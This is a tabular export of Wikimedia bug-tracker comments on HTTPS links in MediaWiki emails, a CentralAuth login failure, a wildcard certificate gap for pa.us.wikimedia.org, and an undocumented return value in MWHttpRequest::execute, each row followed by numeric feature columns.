+204387,Links in MediaWiki emails should respect the user's https preference,Same problem with Wikidata notification emails. Lack of https leads to some people being logged out when following the link. As soon as they press another link https is restored and their logged back in. See: https://www.wikidata.org/wiki/Wikidata:Project_chat#Staying_logged_in,,,1378760730,,PHID-USER-so3rflcuh7on3wiyd6ou,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+204379,Links in MediaWiki emails should respect the user's https preference,"Some days ago I tried to census the automatic emails with links in MediaWiki (which are concerned by this bug):
+1. email confirmation emails: links to confirm or invalidate the email address (User::sendConfirmationMail with messages 'confirmemail_body*', uses Title::getCanonicalURL),
+2. password reminder: general link to the wiki (SpecialPasswordReset::onSubmit with messages 'passwordreset-emailtext-*', uses Title::getCanonicalURL; previously LoginForm::mailPasswordInternal with message 'passwordremindertext', uses $wgCanonicalServer),
+3. initial password email: general link to the wiki (LoginForm::mailPasswordInternal with message 'createaccount-text', uses $wgCanonicalServer)
+4. new message email: link to talk page (EmailNotification::composeCommonMailtext, uses Title::getCanonicalURL, this function is designed to make the message as most as possible recipient-neutral for performance reasons),
+5. watchlist emails: links to pages and diffs (idem to the new message email),
+6. user to user email: but no link in the current messages.
+
+The classical function to create the full non-relative URLs in these functions is Title::getCanonicalURL, which uses by default a protocol PROTO_CANONICAL, id est (i.e.) the protocol defined by wgCanonicalServer. All public Wikimedia wikis have for now http as canonical protocol (and probably a lot of MediaWiki wikis also).
+
+One non-satisfactory solution would be to simply switch the canonical protocol to HTTPS, but this would make emails received by Chinese users non-functionnal for them (this choice is currently discussed on wikimedia-l for the Wikimedia projects, but given this bug is related to MediaWiki, the solution should be a bit more general). It could be added for #1 #2 #3 an other argument in Title::getCanonicalURL to give the mailer functions an opportunity to have their own decision logic, based on the recipient; for instance to take into account $user->getBooleanPreference('prefershttps') [note: current discussion about this bug on wikitech-l highlights the fact that this preference is on for https-blocked users in China; it’s just hidden to the user].
+
+For #4 #5 it is more difficult (if possible) to include any recipient-based logic since the messages are designed to be recipient-neutral to permit bulk mailing (and it is very important to speed as much as possible the sending for bulk mails because the volumes are high -- I administer a ML server). I don’t see a solution apart a rewrite of the function EmailNotification::composeCommonMailtext to create two versions of a same message (HTTP and HTTPS), although this would imply performance issues on major wikis.
+
+For #3 the initial password email (user account created by an administrator) and the initial email confirmation (email registrated in the new account form), I have doubts if the user preference should be taken into account since the user never logged in, so probably the better solution is to follow the canonical protocol.
+
+To conclude:
+A) resolve this bug for #1 and #2 could be easily done, but it could block/make more difficult the reception of emails for https-blocked users (they will have to change the protocol);
+B) I find not really justified the implementation of this bug for any message sent to the user before his/her first connection (e.g. #3);
+C) the resolution of this bug is quite challenging (although possible) for watchlist emails and any other impersonal bulk email (#4 and #5).",,,1378332519,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1
+204371,Links in MediaWiki emails should respect the user's https preference,"For continuity of the discussion this is currently discussed on wikitech-l
+http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/72418",,,1378330172,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+204363,Links in MediaWiki emails should respect the user's https preference,Is this an automatic watchlist notification email?  Can you post it as text so people can translate it more easily?,,,1375651340,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0
+204358,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #4)
+> (In reply to comment #3)
+> > I know evey page of each wiki project support https. So why not enforce using
+> > https in Wiki? It's much safer and more convenient (especially for some
+> > environment with sensorship).
+> No, this has to be a user choice. Please consider
+> http://www-uxsup.csx.cam.ac.uk/~jw35/courses/using_https/html/x183.htm
+
+Yes it has to be a choice, but that document is probably not relevant. Lets see the 4 points:
+* 1) Browsers: Though, they'll have to figure it out because the web is moving on. Many services (including GMail, Twitter and Facebook) are already on HTTPS by default. And some don't even (want to) provide a way to disable that. All they serve over HTTP is a redirect.
+* 2) Certificates: Not relevant, we already have them and we'd keep them regardless, for people that would opt-in. And allowing the option to use HTTPS is much more important than having the option to not use HTTPS. Though we will probably allow both, no reason not to allow HTTP
+* 3) Firewalls: Again, though. The web is moving on. Many services (think: Bank websites, PayPal etc.) are already HTTPS only. Natural selection will take place and people will use services that aren't in the last century. This is inevitable.
+* 4) Server encryption overhead: This used to be a problem, but I think the big boys have proven years ago that HTTPS can be efficient as well. If anything, it is a server side issue we'll have to take care of. But I think this is no longer a problem.
+
+
+At some point we will make HTTPS a default on wmf-wikis, so users that didn't choose for HTTPS will get it. However keeping a user preference to opt out after it has become the default is easy to implement. Sure, if some people (whatever the reason) don't want HTTPS, no point in forcing it :)",,,1346100945,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,True,,,-53,True,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+204352,Links in MediaWiki emails should respect the user's https preference,"**jack.sns** wrote:
+
+Maybe you're right, but I can find nowhere to choose. In addition, how to make wikipedia send email with https links to me?",,,1346100340,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+204346,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #3)
+> I know evey page of each wiki project support https. So why not enforce using
+> https in Wiki? It's much safer and more convenient (especially for some
+> environment with sensorship).
+No, this has to be a user choice. Please consider http://www-uxsup.csx.cam.ac.uk/~jw35/courses/using_https/html/x183.htm",,,1346099946,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+204336,Links in MediaWiki emails should respect the user's https preference,"**jack.sns** wrote:
+
+I know evey page of each wiki project support https. So why not enforce using https in Wiki? It's much safer and more convenient (especially for some environment with sensorship).",,,1346092797,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+204330,Links in MediaWiki emails should respect the user's https preference,"I think it's more a dependency: ""when user has enforced https for browsing the wiki, the mail sent to this user should use https://"".
+
+Adding SSL tracking bug, and 28989 dependency.",,,1346056985,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+204326,Links in MediaWiki emails should respect the user's https preference,This sounds like a duplicate of bug 29898.,,,1346036339,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,1,True,,,-53,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+41060,"Can't login to some local attached accounts, said not to exist","CentralAuth correctly autocreated and attached some local accounts (see 2012-08-05 20:44 entries on URL) but now I can't login to some of them, specifically map-bms.wiki, mwl.wiki, wo.wikt. Local password reset fails, apparently with 'noemail' error, but Special:MergeAccount is happy.
+
+For folklore: «Bii baatujàll baaxul. Jéemaatal.» «Ora ana alamat imel sing kecathet kanggo panganggo ""Nemo bis"".»
+
+Maybe incomplete attachment (??) due to race conditions? Compare bug 29234 where local account wasn't attached at all.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: http://toolserver.org/~pathoschild/stalktoy/?target=Nemo_bis",Low,25.0,1344201660,1411622816.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-c7ptec45c2ra4zewjqsu,task_description,resolved,True,c2,1,True,False,False,-56,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,0,0,0,0
+192987,"Can't login to some local attached accounts, said not to exist","Hopefully, this was fixed for good, at bug 39996.
+
+(Kunal Mehta (Legoktm) on bug 39996 comment #93)
+> There have been no new broken accounts since Sept 5th (possibly earlier).
+> Yay!
+> 
+> Closing this as fixed, but I'll keep an eye on it to make sure it doesn't
+> come back.
+
+*** This bug has been marked as a duplicate of bug 39996 ***",,,1411622816,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-c7ptec45c2ra4zewjqsu,task_subcomment,,True,c2,3,True,,,56,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+192984,"Can't login to some local attached accounts, said not to exist","Probably related: bug 39996, bug 35792 and bug 39997.",,,1347994107,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-c7ptec45c2ra4zewjqsu,task_subcomment,,True,c2,1,True,,,-50,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+192982,"Can't login to some local attached accounts, said not to exist","**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:
+
+(In reply to comment #0)
+> CentralAuth correctly autocreated and attached some local accounts (see
+> 2012-08-05 20:44 entries on URL) but now I can't login to some of them,
+> specifically map-bms.wiki, mwl.wiki, wo.wikt. Local password reset fails,
+> apparently with 'noemail' error, but Special:MergeAccount is happy.
+>
+> Maybe incomplete attachment (??) due to race conditions? Compare bug 29234
+> where local account wasn't attached at all.
+
+This is definetly the same what I encountered thrice, see bug 29234 !!
+
+Some staff with db access has to fill in the email address for you, maybe ask someone at IRC.
+
+Sadly, I don't think this bug will be solved ever :(",,,1344967571,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-c7ptec45c2ra4zewjqsu,task_subcomment,,True,c2,1,False,,,-55,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,1
+40763,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"Though pauswikimediawiki is 'somewhat' dead, it should either be renamed or we should find a solution to the SSL cert failure.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=58024",Low,25.0,1343412300,1363300960.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3gfni2knqeggryedidtp,task_description,resolved,True,c2,1,True,False,True,-57,True,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+199803,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,15:52 < mutante> !log pa.us.wikimedia.org now redirects to pa-us.wikimedia.org (Wikimedia Pennsylvania) (no sub.sub domains),,,1363301169,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+199799,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"https://gerrit.wikimedia.org/r/#/c/53874/
+https://gerrit.wikimedia.org/r/#/c/53859/
+
+apache-fast-test pa-us.wikimedia.url mw1044 testing 4 urls on 1 servers, totalling 4 requests spawning threads..
+
+http://pa-us.wikimedia.org
+* 301 Moved Permanently http://pa-us.wikimedia.org/wiki/Main_Page
+http://pa.us.wikimedia.org
+* 301 Moved Permanently https://pa-us.wikimedia.org/
+https://pa-us.wikimedia.org
+* 301 Moved Permanently https://pa-us.wikimedia.org/wiki/Main_Page
+https://pa.us.wikimedia.org
+* 301 Moved Permanently https://pa-us.wikimedia.org/",,,1363301141,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+199795,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"RENAMED
+
+
+O
+M
+G
+Z",,,1363300960,,PHID-USER-6vzzsmi22zem6yttr6vp,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+199790,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,added pa-us.wikimedia.org to DNS to replace pa.us (but keep that too for redirects,,,1363294966,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+199785,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,This bug appears to be a duplicate of bug 31335.,,,1360571786,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+199779,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"What would you think of using wikimedia.us as the TLD for all US-based city/state chapters?
+
+"".., like us-bo Wikimedia Boston,  us-ca Wikimedia California, us-mw Wikimedia Midwest US and us-pa Wikimedia Pennsylvania and turn those into bo.wikimedia.us, ca.wikimedia.us, bo.wikimedia.us""
+
+https://rt.wikimedia.org/Ticket/Display.html?id=4416",,,1359157720,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-31,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1
+199772,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"we would prefer renaming of sub.sub.domains. It is not possible to get a *.*.wikimedia.org cert as far as we know. So we would have to get extra certificates or add them as additional SANs. Please also hear RobH on this, since he orders certs and had some plans to get them unified.",,,1356116193,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-36,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+199766,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,for *.planet.wikimedia.org -> RT 3481,,,1348612446,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,True,,,-49,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+199760,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"**Ruslik00** wrote:
+
+*.planet.wikimedia.org is also problematic.",,,1344367976,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,False,,,-56,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+199753,Our *.wikimedia.org cert doesn't properly cover https://pa.us.wikimedia.org/,"It doesn't include *.m.wikimedia.org either, so both entries can be added when requesting a new certificate.",,,1343412562,,PHID-USER-izojihzr4ja3jsgzn5wv,True,,,PHID-TASK-3gfni2knqeggryedidtp,task_subcomment,,True,c2,1,False,,,-57,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0
+39713,MWHttpRequest::execute doesn't return a value,"According to documentation execute() should return a value, which it does not.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1340116560,1534976308.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,PHID-USER-y7auzjvgmrrms6atggom,False,PHID-TASK-vc3crewu6hac463o42lb,task_description,resolved,True,c2,1,False,False,False,-63,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1127527,MWHttpRequest::execute doesn't return a value,Closing this task. Revive if needed.,,,1534976308,,PHID-USER-y7auzjvgmrrms6atggom,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,True,,,260,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+842302,MWHttpRequest::execute doesn't return a value,This is pretty old-ish…,,,1492114077,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,False,,,189,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+746026,MWHttpRequest::execute doesn't return a value,Removing #easy as per comments in Gerrit.,,,1476799091,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,True,,,163,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+174703,MWHttpRequest::execute doesn't return a value,"Change 47712 abandoned by Siebrand:
+(bug 37713) Fix documentation for `MWHttpRequest::execute`
+
+Reason:
+Abandoning this change. Feel free to revive if there is reason to.
+
+https://gerrit.wikimedia.org/r/47712",,,1381331785,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+174699,MWHttpRequest::execute doesn't return a value,Patch in Gerrit needs rework...,,,1374662855,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+174693,MWHttpRequest::execute doesn't return a value,"I think execute() should be made abstract and its code moved to some other method 'setup'?
+
+or at least make it protected?",,,1361511064,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,False,,,-27,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0
+174687,MWHttpRequest::execute doesn't return a value,seems like this has been worked upon https://gerrit.wikimedia.org/r/#/c/47712/,,,1360162794,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+174680,MWHttpRequest::execute doesn't return a value,We should change the documentation to remove the @return then. No need to make it return anything.,,,1340753567,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,True,,,-62,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0
+174672,MWHttpRequest::execute doesn't return a value,"(In reply to comment #0)
+> According to documentation execute() should return a value, which it does not.
+
